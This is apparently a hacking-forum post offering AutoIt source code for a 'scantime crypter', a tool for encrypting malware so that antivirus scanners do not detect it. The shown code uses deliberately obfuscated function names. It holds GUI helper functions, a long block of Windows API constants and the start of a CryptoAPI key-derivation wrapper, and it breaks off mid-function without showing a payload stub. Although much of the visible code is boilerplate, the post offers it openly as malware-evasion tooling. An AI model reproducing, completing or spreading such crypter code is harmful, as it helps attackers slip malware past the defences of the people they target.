11 Years of Service
25%
AutoIt Crypter by Solixious [scanTime][sRC AU3]
Crypter :
[HIDE-THANKS]
[/HIDE-THANKS]Crypter :
[HIDE-THANKS]
Code:
>Func _asklhcukzxhyasugxzty_ex($i_tip_hwnd)
If NOT WinExists($i_tip_hwnd) OR NOT IsHWnd($i_tip_hwnd) Then Return SetError(1, 0, -1)
Local $i_tip_menuexists, $i_tip_menuexists, $i_tip_aret
$i_tip_menuexists = DllCall("User32.dll", "handle", "GetMenu", "hwnd", $i_tip_hwnd)
If @error Then
$i_tip_menuexists = 0
Else
$i_tip_menuexists = $i_tip_menuexists[0]
If $i_tip_menuexists > 0 Then
$i_tip_menuexists = 20
Else
$i_tip_menuexists = 0
EndIf
EndIf
$i_tip_aret = WinGetClientSize($i_tip_hwnd)
If IsArray($i_tip_aret) = 0 Then
Return SetError(2, 0, -1)
Else
ReDim $i_tip_aret[4]
$i_tip_aret[2] = $i_tip_menuexists
$i_tip_aret[3] = $i_tip_aret[1] + $i_tip_aret[2]
Return $i_tip_aret
EndIf
EndFunc
Func _asasdhjnlzxuichauy_ex($i_tip_hwnd, $i_tip_considermenu = False)
If NOT WinExists($i_tip_hwnd) OR NOT IsHWnd($i_tip_hwnd) Then Return SetError(1, 0, -1)
Local $i_tip_winpos, $i_tip_clientsize, $i_tip_borderthickness, $i_tip_aret, $i_tip_titlebarthickness
$i_tip_winpos = WinGetPos($i_tip_hwnd)
$i_tip_clientsize = _asklhcukzxhyasugxzty_ex($i_tip_hwnd)
$i_tip_borderthickness = ($i_tip_winpos[2] - $i_tip_clientsize[0]) / 2
$i_tip_titlebarthickness = ($i_tip_winpos[3] - $i_tip_clientsize[1]) - $i_tip_borderthickness
Dim $i_tip_aret[6] = [$i_tip_winpos[0] + $i_tip_borderthickness, $i_tip_winpos[1] + $i_tip_titlebarthickness, $i_tip_clientsize[0], $i_tip_clientsize[1], $i_tip_borderthickness, $i_tip_titlebarthickness]
If $i_tip_considermenu = True AND $i_tip_clientsize[2] > 0 Then
$i_tip_aret[1] -= $i_tip_clientsize[2]
$i_tip_aret[3] = $i_tip_clientsize[3]
$i_tip_aret[5] -= $i_tip_clientsize[2]
EndIf
Return $i_tip_aret
EndFunc
Func _guiroundcorners_lite($h_win, $i_radius = 20)
Dim $pos, $ret, $ret2
If NOT WinExists($h_win) Then Return SetError(1, 0, -1)
Local $i_tip_temparray = _asklhcukzxhyasugxzty_ex($h_win)
If @error Then Return SetError(1, 0, -1)
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "long", 0, "long", 0, "long", $i_tip_temparray[0], "long", $i_tip_temparray[3], "long", $i_radius, "long", $i_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3, 0, -1)
EndIf
Else
Return SetError(2, 0, -1)
EndIf
EndFunc
Func _guiroundcorners_ex($h_win, $i_tip_radius = 20, $i_tip_type = False)
Dim $pos, $ret, $ret2
If NOT WinExists($h_win) Then Return SetError(1, 0, -1)
Local $i_tip_temparray = _asklhcukzxhyasugxzty_ex($h_win)
If @error Then Return SetError(1, 0, -1)
ReDim $i_tip_temparray[6]
Switch $i_tip_type
Case "TOP", "t", 1
$i_tip_temparray[3] = $i_tip_temparray[3]
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = -$i_tip_radius
Case "BOTTOM", "b", 2
$i_tip_temparray[3] = $i_tip_temparray[3] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case "LEFT", "l", 3
$i_tip_temparray[0] = $i_tip_temparray[0]
$i_tip_temparray[4] = -$i_tip_radius
$i_tip_temparray[5] = 0
Case "RIGHT", "r", 4
$i_tip_temparray[0] = $i_tip_temparray[0] + $i_tip_radius
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
Case Else
$i_tip_temparray[4] = 0
$i_tip_temparray[5] = 0
EndSwitch
Dim $pos, $ret, $ret2
$ret = DllCall("gdi32.dll", "long", "CreateRoundRectRgn", "int", $i_tip_temparray[4], "int", $i_tip_temparray[5], "int", $i_tip_temparray[0], "int", $i_tip_temparray[3], "int", $i_tip_radius, "int", $i_tip_radius)
If $ret[0] Then
$ret2 = DllCall("user32.dll", "long", "SetWindowRgn", "hwnd", $h_win, "long", $ret[0], "int", 1)
If $ret2[0] Then
Return 1
Else
Return SetError(3, 0, -1)
EndIf
Else
Return SetError(2, 0, -1)
EndIf
EndFunc
Global Const $gui_event_close = -3
Global Const $gui_event_minimize = -4
Global Const $gui_event_restore = -5
Global Const $gui_event_maximize = -6
Global Const $gui_event_primarydown = -7
Global Const $gui_event_primaryup = -8
Global Const $gui_event_secondarydown = -9
Global Const $gui_event_secondaryup = -10
Global Const $gui_event_mousemove = -11
Global Const $gui_event_resized = -12
Global Const $gui_event_dropped = -13
Global Const $gui_rundefmsg = "GUI_RUNDEFMSG"
Global Const $gui_avistop = 0
Global Const $gui_avistart = 1
Global Const $gui_aviclose = 2
Global Const $gui_checked = 1
Global Const $gui_indeterminate = 2
Global Const $gui_unchecked = 4
Global Const $gui_dropaccepted = 8
Global Const $gui_nodropaccepted = 4096
Global Const $gui_acceptfiles = $gui_dropaccepted
Global Const $gui_show = 16
Global Const $gui_hide = 32
Global Const $gui_enable = 64
Global Const $gui_disable = 128
Global Const $gui_focus = 256
Global Const $gui_nofocus = 8192
Global Const $gui_defbutton = 512
Global Const $gui_expand = 1024
Global Const $gui_ontop = 2048
Global Const $gui_fontitalic = 2
Global Const $gui_fontunder = 4
Global Const $gui_fontstrike = 8
Global Const $gui_dockauto = 1
Global Const $gui_dockleft = 2
Global Const $gui_dockright = 4
Global Const $gui_dockhcenter = 8
Global Const $gui_docktop = 32
Global Const $gui_dockbottom = 64
Global Const $gui_dockvcenter = 128
Global Const $gui_dockwidth = 256
Global Const $gui_dockheight = 512
Global Const $gui_docksize = 768
Global Const $gui_dockmenubar = 544
Global Const $gui_dockstatebar = 576
Global Const $gui_dockall = 802
Global Const $gui_dockborders = 102
Global Const $gui_gr_close = 1
Global Const $gui_gr_line = 2
Global Const $gui_gr_bezier = 4
Global Const $gui_gr_move = 6
Global Const $gui_gr_color = 8
Global Const $gui_gr_rect = 10
Global Const $gui_gr_ellipse = 12
Global Const $gui_gr_pie = 14
Global Const $gui_gr_dot = 16
Global Const $gui_gr_pixel = 18
Global Const $gui_gr_hint = 20
Global Const $gui_gr_refresh = 22
Global Const $gui_gr_pensize = 24
Global Const $gui_gr_nobkcolor = -2
Global Const $gui_bkcolor_default = -1
Global Const $gui_bkcolor_transparent = -2
Global Const $gui_bkcolor_lv_alternate = -33554432
Global Const $gui_ws_ex_parentdrag = 1048576
Global Const $ws_tiled = 0
Global Const $ws_overlapped = 0
Global Const $ws_maximizebox = 65536
Global Const $ws_minimizebox = 131072
Global Const $ws_tabstop = 65536
Global Const $ws_group = 131072
Global Const $ws_sizebox = 262144
Global Const $ws_thickframe = 262144
Global Const $ws_sysmenu = 524288
Global Const $ws_hscroll = 1048576
Global Const $ws_vscroll = 2097152
Global Const $ws_dlgframe = 4194304
Global Const $ws_border = 8388608
Global Const $ws_caption = 12582912
Global Const $ws_overlappedwindow = 13565952
Global Const $ws_tiledwindow = 13565952
Global Const $ws_maximize = 16777216
Global Const $ws_clipchildren = 33554432
Global Const $ws_clipsiblings = 67108864
Global Const $ws_disabled = 134217728
Global Const $ws_visible = 268435456
Global Const $ws_minimize = 536870912
Global Const $ws_child = 1073741824
Global Const $ws_popup = -2147483648
Global Const $ws_popupwindow = -2138570752
Global Const $ds_modalframe = 128
Global Const $ds_setforeground = 512
Global Const $ds_contexthelp = 8192
Global Const $ws_ex_acceptfiles = 16
Global Const $ws_ex_mdichild = 64
Global Const $ws_ex_appwindow = 262144
Global Const $ws_ex_composited = 33554432
Global Const $ws_ex_clientedge = 512
Global Const $ws_ex_contexthelp = 1024
Global Const $ws_ex_dlgmodalframe = 1
Global Const $ws_ex_leftscrollbar = 16384
Global Const $ws_ex_overlappedwindow = 768
Global Const $ws_ex_right = 4096
Global Const $ws_ex_staticedge = 131072
Global Const $ws_ex_toolwindow = 128
Global Const $ws_ex_topmost = 8
Global Const $ws_ex_transparent = 32
Global Const $ws_ex_windowedge = 256
Global Const $ws_ex_layered = 524288
Global Const $ws_ex_controlparent = 65536
Global Const $ws_ex_layoutrtl = 4194304
Global Const $ws_ex_rtlreading = 8192
Global Const $wm_gettextlength = 14
Global Const $wm_gettext = 13
Global Const $wm_size = 5
Global Const $wm_sizing = 532
Global Const $wm_user = 1024
Global Const $wm_create = 1
Global Const $wm_destroy = 2
Global Const $wm_move = 3
Global Const $wm_activate = 6
Global Const $wm_setfocus = 7
Global Const $wm_killfocus = 8
Global Const $wm_enable = 10
Global Const $wm_setredraw = 11
Global Const $wm_settext = 12
Global Const $wm_paint = 15
Global Const $wm_close = 16
Global Const $wm_queryendsession = 17
Global Const $wm_quit = 18
Global Const $wm_erasebkgnd = 20
Global Const $wm_queryopen = 19
Global Const $wm_syscolorchange = 21
Global Const $wm_endsession = 22
Global Const $wm_showwindow = 24
Global Const $wm_settingchange = 26
Global Const $wm_wininichange = 26
Global Const $wm_devmodechange = 27
Global Const $wm_activateapp = 28
Global Const $wm_fontchange = 29
Global Const $wm_timechange = 30
Global Const $wm_cancelmode = 31
Global Const $wm_ime_startcomposition = 269
Global Const $wm_ime_endcomposition = 270
Global Const $wm_ime_composition = 271
Global Const $wm_ime_keylast = 271
Global Const $wm_setcursor = 32
Global Const $wm_mouseactivate = 33
Global Const $wm_childactivate = 34
Global Const $wm_queuesync = 35
Global Const $wm_getminmaxinfo = 36
Global Const $wm_painticon = 38
Global Const $wm_iconerasebkgnd = 39
Global Const $wm_nextdlgctl = 40
Global Const $wm_spoolerstatus = 42
Global Const $wm_drawitem = 43
Global Const $wm_measureitem = 44
Global Const $wm_deleteitem = 45
Global Const $wm_vkeytoitem = 46
Global Const $wm_chartoitem = 47
Global Const $wm_setfont = 48
Global Const $wm_getfont = 49
Global Const $wm_sethotkey = 50
Global Const $wm_gethotkey = 51
Global Const $wm_querydragicon = 55
Global Const $wm_compareitem = 57
Global Const $wm_getobject = 61
Global Const $wm_compacting = 65
Global Const $wm_commnotify = 68
Global Const $wm_windowposchanging = 70
Global Const $wm_windowposchanged = 71
Global Const $wm_power = 72
Global Const $wm_notify = 78
Global Const $wm_copydata = 74
Global Const $wm_canceljournal = 75
Global Const $wm_inputlangchangerequest = 80
Global Const $wm_inputlangchange = 81
Global Const $wm_tcard = 82
Global Const $wm_help = 83
Global Const $wm_userchanged = 84
Global Const $wm_notifyformat = 85
Global Const $wm_parentnotify = 528
Global Const $wm_entermenuloop = 529
Global Const $wm_exitmenuloop = 530
Global Const $wm_nextmenu = 531
Global Const $wm_capturechanged = 533
Global Const $wm_moving = 534
Global Const $wm_powerbroadcast = 536
Global Const $wm_devicechange = 537
Global Const $wm_mdicreate = 544
Global Const $wm_mdidestroy = 545
Global Const $wm_mdiactivate = 546
Global Const $wm_mdirestore = 547
Global Const $wm_mdinext = 548
Global Const $wm_mdimaximize = 549
Global Const $wm_mditile = 550
Global Const $wm_mdicascade = 551
Global Const $wm_mdiiconarrange = 552
Global Const $wm_mdigetactive = 553
Global Const $wm_mdisetmenu = 560
Global Const $wm_entersizemove = 561
Global Const $wm_exitsizemove = 562
Global Const $wm_dropfiles = 563
Global Const $wm_mdirefreshmenu = 564
Global Const $wm_ime_setcontext = 641
Global Const $wm_ime_notify = 642
Global Const $wm_ime_control = 643
Global Const $wm_ime_compositionfull = 644
Global Const $wm_ime_select = 645
Global Const $wm_ime_char = 646
Global Const $wm_ime_request = 648
Global Const $wm_ime_keydown = 656
Global Const $wm_ime_keyup = 657
Global Const $wm_ncmousehover = 672
Global Const $wm_mousehover = 673
Global Const $wm_ncmouseleave = 674
Global Const $wm_mouseleave = 675
Global Const $wm_wtssession_change = 689
Global Const $wm_tablet_first = 704
Global Const $wm_tablet_last = 735
Global Const $wm_cut = 768
Global Const $wm_copy = 769
Global Const $wm_paste = 770
Global Const $wm_clear = 771
Global Const $wm_undo = 772
Global Const $wm_paletteischanging = 784
Global Const $wm_hotkey = 786
Global Const $wm_palettechanged = 785
Global Const $wm_print = 791
Global Const $wm_printclient = 792
Global Const $wm_appcommand = 793
Global Const $wm_querynewpalette = 783
Global Const $wm_themechanged = 794
Global Const $wm_handheldfirst = 856
Global Const $wm_handheldlast = 863
Global Const $wm_afxfirst = 864
Global Const $wm_afxlast = 895
Global Const $wm_penwinfirst = 896
Global Const $wm_penwinlast = 911
Global Const $wm_contextmenu = 123
Global Const $wm_stylechanging = 124
Global Const $wm_stylechanged = 125
Global Const $wm_displaychange = 126
Global Const $wm_geticon = 127
Global Const $wm_seticon = 128
Global Const $wm_nccreate = 129
Global Const $wm_ncdestroy = 130
Global Const $wm_nccalcsize = 131
Global Const $wm_nchittest = 132
Global Const $wm_ncpaint = 133
Global Const $wm_ncactivate = 134
Global Const $wm_getdlgcode = 135
Global Const $wm_syncpaint = 136
Global Const $wm_ncmousemove = 160
Global Const $wm_nclbuttondown = 161
Global Const $wm_nclbuttonup = 162
Global Const $wm_nclbuttondblclk = 163
Global Const $wm_ncrbuttondown = 164
Global Const $wm_ncrbuttonup = 165
Global Const $wm_ncrbuttondblclk = 166
Global Const $wm_ncmbuttondown = 167
Global Const $wm_ncmbuttonup = 168
Global Const $wm_ncmbuttondblclk = 169
Global Const $wm_ncxbuttondown = 171
Global Const $wm_ncxbuttonup = 172
Global Const $wm_ncxbuttondblclk = 173
Global Const $wm_keydown = 256
Global Const $wm_keyfirst = 256
Global Const $wm_keyup = 257
Global Const $wm_char = 258
Global Const $wm_deadchar = 259
Global Const $wm_syskeydown = 260
Global Const $wm_syskeyup = 261
Global Const $wm_syschar = 262
Global Const $wm_sysdeadchar = 263
Global Const $wm_keylast = 265
Global Const $wm_unichar = 265
Global Const $wm_initdialog = 272
Global Const $wm_command = 273
Global Const $wm_syscommand = 274
Global Const $wm_timer = 275
Global Const $wm_hscroll = 276
Global Const $wm_vscroll = 277
Global Const $wm_initmenu = 278
Global Const $wm_initmenupopup = 279
Global Const $wm_menuselect = 287
Global Const $wm_menuchar = 288
Global Const $wm_enteridle = 289
Global Const $wm_menurbuttonup = 290
Global Const $wm_menudrag = 291
Global Const $wm_menugetobject = 292
Global Const $wm_uninitmenupopup = 293
Global Const $wm_menucommand = 294
Global Const $wm_changeuistate = 295
Global Const $wm_updateuistate = 296
Global Const $wm_queryuistate = 297
Global Const $wm_ctlcolormsgbox = 306
Global Const $wm_ctlcoloredit = 307
Global Const $wm_ctlcolorlistbox = 308
Global Const $wm_ctlcolorbtn = 309
Global Const $wm_ctlcolordlg = 310
Global Const $wm_ctlcolorscrollbar = 311
Global Const $wm_ctlcolorstatic = 312
Global Const $wm_ctlcolor = 25
Global Const $mn_gethmenu = 481
Global Const $wm_app = 32768
Global Const $nm_first = 0
Global Const $nm_outofmemory = $nm_first - 1
Global Const $nm_click = $nm_first - 2
Global Const $nm_dblclk = $nm_first - 3
Global Const $nm_return = $nm_first - 4
Global Const $nm_rclick = $nm_first - 5
Global Const $nm_rdblclk = $nm_first - 6
Global Const $nm_setfocus = $nm_first - 7
Global Const $nm_killfocus = $nm_first - 8
Global Const $nm_customdraw = $nm_first - 12
Global Const $nm_hover = $nm_first - 13
Global Const $nm_nchittest = $nm_first - 14
Global Const $nm_keydown = $nm_first - 15
Global Const $nm_releasedcapture = $nm_first - 16
Global Const $nm_setcursor = $nm_first - 17
Global Const $nm_char = $nm_first - 18
Global Const $nm_tooltipscreated = $nm_first - 19
Global Const $nm_ldown = $nm_first - 20
Global Const $nm_rdown = $nm_first - 21
Global Const $nm_themechanged = $nm_first - 22
Global Const $wm_mousefirst = 512
Global Const $wm_mousemove = 512
Global Const $wm_lbuttondown = 513
Global Const $wm_lbuttonup = 514
Global Const $wm_lbuttondblclk = 515
Global Const $wm_rbuttondown = 516
Global Const $wm_rbuttonup = 517
Global Const $wm_rbuttondblclk = 518
Global Const $wm_mbuttondown = 519
Global Const $wm_mbuttonup = 520
Global Const $wm_mbuttondblclk = 521
Global Const $wm_mousewheel = 522
Global Const $wm_xbuttondown = 523
Global Const $wm_xbuttonup = 524
Global Const $wm_xbuttondblclk = 525
Global Const $wm_mousehwheel = 526
Global Const $ps_solid = 0
Global Const $ps_dash = 1
Global Const $ps_dot = 2
Global Const $ps_dashdot = 3
Global Const $ps_dashdotdot = 4
Global Const $ps_null = 5
Global Const $ps_insideframe = 6
Global Const $lwa_alpha = 2
Global Const $lwa_colorkey = 1
Global Const $rgn_and = 1
Global Const $rgn_or = 2
Global Const $rgn_xor = 3
Global Const $rgn_diff = 4
Global Const $rgn_copy = 5
Global Const $errorregion = 0
Global Const $nullregion = 1
Global Const $simpleregion = 2
Global Const $complexregion = 3
Global Const $transparent = 1
Global Const $opaque = 2
Global Const $ccm_first = 8192
Global Const $ccm_getunicodeformat = ($ccm_first + 6)
Global Const $ccm_setunicodeformat = ($ccm_first + 5)
Global Const $ccm_setbkcolor = $ccm_first + 1
Global Const $ccm_setcolorscheme = $ccm_first + 2
Global Const $ccm_getcolorscheme = $ccm_first + 3
Global Const $ccm_getdroptarget = $ccm_first + 4
Global Const $ccm_setwindowtheme = $ccm_first + 11
Global Const $ga_parent = 1
Global Const $ga_root = 2
Global Const $ga_rootowner = 3
Global Const $sm_cxscreen = 0
Global Const $sm_cyscreen = 1
Global Const $sm_cxvscroll = 2
Global Const $sm_cyhscroll = 3
Global Const $sm_cycaption = 4
Global Const $sm_cxborder = 5
Global Const $sm_cyborder = 6
Global Const $sm_cxdlgframe = 7
Global Const $sm_cydlgframe = 8
Global Const $sm_cyvthumb = 9
Global Const $sm_cxhthumb = 10
Global Const $sm_cxicon = 11
Global Const $sm_cyicon = 12
Global Const $sm_cxcursor = 13
Global Const $sm_cycursor = 14
Global Const $sm_cymenu = 15
Global Const $sm_cxfullscreen = 16
Global Const $sm_cyfullscreen = 17
Global Const $sm_cykanjiwindow = 18
Global Const $sm_mousepresent = 19
Global Const $sm_cyvscroll = 20
Global Const $sm_cxhscroll = 21
Global Const $sm_debug = 22
Global Const $sm_swapbutton = 23
Global Const $sm_reserved1 = 24
Global Const $sm_reserved2 = 25
Global Const $sm_reserved3 = 26
Global Const $sm_reserved4 = 27
Global Const $sm_cxmin = 28
Global Const $sm_cymin = 29
Global Const $sm_cxsize = 30
Global Const $sm_cysize = 31
Global Const $sm_cxframe = 32
Global Const $sm_cyframe = 33
Global Const $sm_cxmintrack = 34
Global Const $sm_cymintrack = 35
Global Const $sm_cxdoubleclk = 36
Global Const $sm_cydoubleclk = 37
Global Const $sm_cxiconspacing = 38
Global Const $sm_cyiconspacing = 39
Global Const $sm_menudropalignment = 40
Global Const $sm_penwindows = 41
Global Const $sm_dbcsenabled = 42
Global Const $sm_cmousebuttons = 43
Global Const $sm_secure = 44
Global Const $sm_cxedge = 45
Global Const $sm_cyedge = 46
Global Const $sm_cxminspacing = 47
Global Const $sm_cyminspacing = 48
Global Const $sm_cxsmicon = 49
Global Const $sm_cysmicon = 50
Global Const $sm_cysmcaption = 51
Global Const $sm_cxsmsize = 52
Global Const $sm_cysmsize = 53
Global Const $sm_cxmenusize = 54
Global Const $sm_cymenusize = 55
Global Const $sm_arrange = 56
Global Const $sm_cxminimized = 57
Global Const $sm_cyminimized = 58
Global Const $sm_cxmaxtrack = 59
Global Const $sm_cymaxtrack = 60
Global Const $sm_cxmaximized = 61
Global Const $sm_cymaximized = 62
Global Const $sm_network = 63
Global Const $sm_cleanboot = 67
Global Const $sm_cxdrag = 68
Global Const $sm_cydrag = 69
Global Const $sm_showsounds = 70
Global Const $sm_cxmenucheck = 71
Global Const $sm_cymenucheck = 72
Global Const $sm_slowmachine = 73
Global Const $sm_mideastenabled = 74
Global Const $sm_mousewheelpresent = 75
Global Const $sm_xvirtualscreen = 76
Global Const $sm_yvirtualscreen = 77
Global Const $sm_cxvirtualscreen = 78
Global Const $sm_cyvirtualscreen = 79
Global Const $sm_cmonitors = 80
Global Const $sm_samedisplayformat = 81
Global Const $sm_immenabled = 82
Global Const $sm_cxfocusborder = 83
Global Const $sm_cyfocusborder = 84
Global Const $sm_tabletpc = 86
Global Const $sm_mediacenter = 87
Global Const $sm_starter = 88
Global Const $sm_serverr2 = 89
Global Const $sm_cmetrics = 90
Global Const $sm_remotesession = 4096
Global Const $sm_shuttingdown = 8192
Global Const $sm_remotecontrol = 8193
Global Const $sm_caretblinkingenabled = 8194
Global Const $blackness = 66
Global Const $captureblt = 1073741824
Global Const $dstinvert = 5570569
Global Const $mergecopy = 12583114
Global Const $mergepaint = 12255782
Global Const $nomirrorbitmap = -2147483648
Global Const $notsrccopy = 3342344
Global Const $notsrcerase = 1114278
Global Const $patcopy = 15728673
Global Const $patinvert = 5898313
Global Const $patpaint = 16452105
Global Const $srcand = 8913094
Global Const $srccopy = 13369376
Global Const $srcerase = 4457256
Global Const $srcinvert = 6684742
Global Const $srcpaint = 15597702
Global Const $whiteness = 16711778
Global Const $dt_bottom = 8
Global Const $dt_calcrect = 1024
Global Const $dt_center = 1
Global Const $dt_editcontrol = 8192
Global Const $dt_end_ellipsis = 32768
Global Const $dt_expandtabs = 64
Global Const $dt_externalleading = 512
Global Const $dt_hideprefix = 1048576
Global Const $dt_internal = 4096
Global Const $dt_left = 0
Global Const $dt_modifystring = 65536
Global Const $dt_noclip = 256
Global Const $dt_nofullwidthcharbreak = 524288
Global Const $dt_noprefix = 2048
Global Const $dt_path_ellipsis = 16384
Global Const $dt_prefixonly = 2097152
Global Const $dt_right = 2
Global Const $dt_rtlreading = 131072
Global Const $dt_singleline = 32
Global Const $dt_tabstop = 128
Global Const $dt_top = 0
Global Const $dt_vcenter = 4
Global Const $dt_wordbreak = 16
Global Const $dt_word_ellipsis = 262144
Global Const $rdw_erase = 4
Global Const $rdw_frame = 1024
Global Const $rdw_internalpaint = 2
Global Const $rdw_invalidate = 1
Global Const $rdw_noerase = 32
Global Const $rdw_noframe = 2048
Global Const $rdw_nointernalpaint = 16
Global Const $rdw_validate = 8
Global Const $rdw_erasenow = 512
Global Const $rdw_updatenow = 256
Global Const $rdw_allchildren = 128
Global Const $rdw_nochildren = 64
Global Const $wm_renderformat = 773
Global Const $wm_renderallformats = 774
Global Const $wm_destroyclipboard = 775
Global Const $wm_drawclipboard = 776
Global Const $wm_paintclipboard = 777
Global Const $wm_vscrollclipboard = 778
Global Const $wm_sizeclipboard = 779
Global Const $wm_askcbformatname = 780
Global Const $wm_changecbchain = 781
Global Const $wm_hscrollclipboard = 782
Global Const $hterror = -2
Global Const $httransparent = -1
Global Const $htnowhere = 0
Global Const $htclient = 1
Global Const $htcaption = 2
Global Const $htsysmenu = 3
Global Const $htgrowbox = 4
Global Const $htsize = $htgrowbox
Global Const $htmenu = 5
Global Const $hthscroll = 6
Global Const $htvscroll = 7
Global Const $htminbutton = 8
Global Const $htmaxbutton = 9
Global Const $htleft = 10
Global Const $htright = 11
Global Const $httop = 12
Global Const $httopleft = 13
Global Const $httopright = 14
Global Const $htbottom = 15
Global Const $htbottomleft = 16
Global Const $htbottomright = 17
Global Const $htborder = 18
Global Const $htreduce = $htminbutton
Global Const $htzoom = $htmaxbutton
Global Const $htsizefirst = $htleft
Global Const $htsizelast = $htbottomright
Global Const $htobject = 19
Global Const $htclose = 20
Global Const $hthelp = 21
Global Const $color_scrollbar = 0
Global Const $color_background = 1
Global Const $color_activecaption = 2
Global Const $color_inactivecaption = 3
Global Const $color_menu = 4
Global Const $color_window = 5
Global Const $color_windowframe = 6
Global Const $color_menutext = 7
Global Const $color_windowtext = 8
Global Const $color_captiontext = 9
Global Const $color_activeborder = 10
Global Const $color_inactiveborder = 11
Global Const $color_appworkspace = 12
Global Const $color_highlight = 13
Global Const $color_highlighttext = 14
Global Const $color_btnface = 15
Global Const $color_btnshadow = 16
Global Const $color_graytext = 17
Global Const $color_btntext = 18
Global Const $color_inactivecaptiontext = 19
Global Const $color_btnhighlight = 20
Global Const $color_3ddkshadow = 21
Global Const $color_3dlight = 22
Global Const $color_infotext = 23
Global Const $color_infobk = 24
Global Const $color_hotlight = 26
Global Const $color_gradientactivecaption = 27
Global Const $color_gradientinactivecaption = 28
Global Const $color_menuhilight = 29
Global Const $color_menubar = 30
Global Const $color_desktop = 1
Global Const $color_3dface = 15
Global Const $color_3dshadow = 16
Global Const $color_3dhighlight = 20
Global Const $color_3dhilight = 20
Global Const $color_btnhilight = 20
Global Const $hinst_commctrl = -1
Global Const $idb_std_small_color = 0
Global Const $idb_std_large_color = 1
Global Const $idb_view_small_color = 4
Global Const $idb_view_large_color = 5
Global Const $idb_hist_small_color = 8
Global Const $idb_hist_large_color = 9
Global Const $startf_forceofffeedback = 128
Global Const $startf_forceonfeedback = 64
Global Const $startf_runfullscreen = 32
Global Const $startf_usecountchars = 8
Global Const $startf_usefillattribute = 16
Global Const $startf_usehotkey = 512
Global Const $startf_useposition = 4
Global Const $startf_useshowwindow = 1
Global Const $startf_usesize = 2
Global Const $startf_usestdhandles = 256
Global Const $cdds_prepaint = 1
Global Const $cdds_postpaint = 2
Global Const $cdds_preerase = 3
Global Const $cdds_posterase = 4
Global Const $cdds_item = 65536
Global Const $cdds_itemprepaint = 65537
Global Const $cdds_itempostpaint = 65538
Global Const $cdds_itempreerase = 65539
Global Const $cdds_itemposterase = 65540
Global Const $cdds_subitem = 131072
Global Const $cdis_selected = 1
Global Const $cdis_grayed = 2
Global Const $cdis_disabled = 4
Global Const $cdis_checked = 8
Global Const $cdis_focus = 16
Global Const $cdis_default = 32
Global Const $cdis_hot = 64
Global Const $cdis_marked = 128
Global Const $cdis_indeterminate = 256
Global Const $cdis_showkeyboardcues = 512
Global Const $cdis_nearhot = 1024
Global Const $cdis_othersidehot = 2048
Global Const $cdis_drophilited = 4096
Global Const $cdrf_dodefault = 0
Global Const $cdrf_newfont = 2
Global Const $cdrf_skipdefault = 4
Global Const $cdrf_notifypostpaint = 16
Global Const $cdrf_notifyitemdraw = 32
Global Const $cdrf_notifysubitemdraw = 32
Global Const $cdrf_notifyposterase = 64
Global Const $cdrf_doerase = 8
Global Const $cdrf_skippostpaint = 256
Global Const $gui_ss_default_gui = BitOR($ws_minimizebox, $ws_caption, $ws_popup, $ws_sysmenu)
Global Const $prov_rsa_full = 1
Global Const $prov_rsa_aes = 24
Global Const $crypt_verifycontext = -268435456
Global Const $hp_hashsize = 4
Global Const $hp_hashval = 2
Global Const $crypt_exportable = 1
Global Const $crypt_userdata = 1
Global Const $calg_md2 = 32769
Global Const $calg_md4 = 32770
Global Const $calg_md5 = 32771
Global Const $calg_sha1 = 32772
Global Const $calg_3des = 26115
Global Const $calg_aes_128 = 26126
Global Const $calg_aes_192 = 26127
Global Const $calg_aes_256 = 26128
Global Const $calg_des = 26113
Global Const $calg_rc2 = 26114
Global Const $calg_rc4 = 26625
Global Const $calg_userkey = 0
Global $__g_acryptinternaldata[3]
Func _asklchuxzasduhuczxyiasyugcxzua_startup()
If __asklchuxzasduhuczxyiasyugcxzua_refcount() = 0 Then
Local $hadvapi32 = DllOpen("Advapi32.dll")
If @error Then Return SetError(1, 0, False)
__asklchuxzasduhuczxyiasyugcxzua_dllhandleset($hadvapi32)
Local $aret
Local $iproviderid = $prov_rsa_aes
If @OSVersion = "WIN_2000" Then $iproviderid = $prov_rsa_full
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
If @error OR NOT $aret[0] Then
DllClose(__asklchuxzasduhuczxyiasyugcxzua_dllhandle())
Return SetError(2, 0, False)
Else
__asklchuxzasduhuczxyiasyugcxzua_contextset($aret[1])
EndIf
EndIf
__asklchuxzasduhuczxyiasyugcxzua_refcountinc()
Return True
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_shutdown()
__asklchuxzasduhuczxyiasyugcxzua_refcountdec()
If __asklchuxzasduhuczxyiasyugcxzua_refcount() = 0 Then
DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptReleaseContext", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "dword", 0)
DllClose(__asklchuxzasduhuczxyiasyugcxzua_dllhandle())
EndIf
EndFunc
Func _asklchuxzasduhuczxyiasyugcxzua_derivekey($vpassword, $ialg_id, $ihash_alg_id = $calg_md5)
Local $aret
Local $hcrypthash
Local $hbuff
Local $ierror
Local $vreturn
_asklchuxzasduhuczxyiasyugcxzua_startup()
Do
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptCreateHash", "handle", __asklchuxzasduhuczxyiasyugcxzua_context(), "uint", $ihash_alg_id, "ptr", 0, "dword", 0, "handle*", 0)
If @error OR NOT $aret[0] Then
$ierror = 1
$vreturn = -1
ExitLoop
EndIf
$hcrypthash = $aret[5]
$hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
DllStructSetData($hbuff, 1, $vpassword)
$aret = DllCall(__asklchuxzasduhuczxyiasyugcxzua_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
If @error OR NOT $aret[0] Then
$ierror = 2
$vreturn = -1
ExitLoop
EndIf
